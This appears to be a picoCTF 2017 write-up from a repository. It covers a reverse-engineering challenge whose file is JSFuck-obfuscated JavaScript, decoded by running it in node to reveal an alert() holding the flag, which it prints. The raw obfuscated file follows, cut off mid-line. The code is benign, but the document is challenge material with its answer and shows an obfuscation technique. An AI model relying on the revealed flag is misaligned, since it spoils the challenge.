2 | ## level 3 - reverse engineering - 100 points 3 | 4 | ### Description 5 | > What in the world could this be?!?! [file](./data/file) 6 | 7 | ### Hints 8 | > * Maybe start searching for uses of these chunks of characers? Is there anything on the Internet with them? 9 | 10 | ### Solution 11 | 12 | First of all, let's check file type: 13 | 14 | ``` 15 | $ file file 16 | file: ASCII text, with very long lines, with no line terminators 17 | ``` 18 | 19 | It's an ASCII file, let's `cat` it: 20 | 21 | ``` 22 | $ cat file 23 | [][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]... 24 | ``` 25 | 26 | Whoa! What are these symbols? The challenge title provide us another hint: the word **JSut** is not misspelled, but an hint to Javascript language. In JS, thru intensive and repetitive task, you can transform every snippet of code starting from a bad casting of an emtpy array: `![] = false`. Further informations [here](http://www.jsfuck.com/). 27 | 28 | To run this (inefficient) code I used `node`: 29 | 30 | ``` 31 | $ node file 32 | undefined:2 33 | alert("aw_yiss_ducking_breadcrumbs_42f0c220") 34 | ^ 35 | 36 | ReferenceError: alert is not defined 37 | at eval (eval at (/Users/Davide/Documents/Chores/pico-ctf-2017-writeups/temp/file:1:890), :2:1) 38 | at Object. (/Users/Davide/Documents/Chores/pico-ctf-2017-writeups/temp/file:1:38441) 39 | at Module._compile (module.js:652:30) 40 | at Object.Module._extensions..js (module.js:663:10) 41 | at Module.load (module.js:565:32) 42 | at tryModuleLoad (module.js:505:12) 43 | at Function.Module._load (module.js:497:3) 44 | at Function.Module.runMain (module.js:693:10) 45 | at startup (bootstrap_node.js:188:16) 46 | at bootstrap_node.js:609:3 47 | ``` 48 | 49 | It's correct, Node.js doesn't have `alert` function, but it prints the flag anyway. You can retrieve the key also `cat`ting the file, pipe it into `pbcopy` (only on MacOS) and paste into the Chrome Inspector. 50 | 51 | ### Flag 52 | ``` 53 | aw_yiss_ducking_breadcrumbs_42f0c220 54 | ``` -------------------------------------------------------------------------------- /level-3/reverse-engineering/jsut-duck-it-up/data/file: -------------------------------------------------------------------------------- 1 | [][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+([]+[])[(![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]()[+!+[]+[!+[]+!+[]]]+(![]+[])[+!+[]]+(+(!+[]+!+[]+!+[]+[!+[]+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(+![]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(+![]+[![]]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]+!+[]])+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+!+[]]]+([][[]]+[])[+[]]+([][[]]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(+(!+[]+!+[]+[+!+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(+![]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(+![]+[![]]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]](!+[]+!+[]+!+[]+[+!+[]])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]])()([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(+(!+[]+!+[]+[+!+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(+![]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(+![]+[![]]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]](!+[]+!+[]+!+[]+[+!+[]])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]])()(([]+[])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+[]])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(![]+[])[+[]])+(+[![]]+[+(+!+[]+(!+[]+[])[!+[]+!+[]+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]])])[+!+[]+[+[]]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+!+[]]]+([][[]]+[])[+[]]+([][[]]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(+(!+[]+!+[]+[+!+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(+![]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(+![]+[![]]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]](!+[]+!+[]+!+[]+[+!+[]])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]])()([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(+(!+[]+!+[]+[+!+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(+![]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[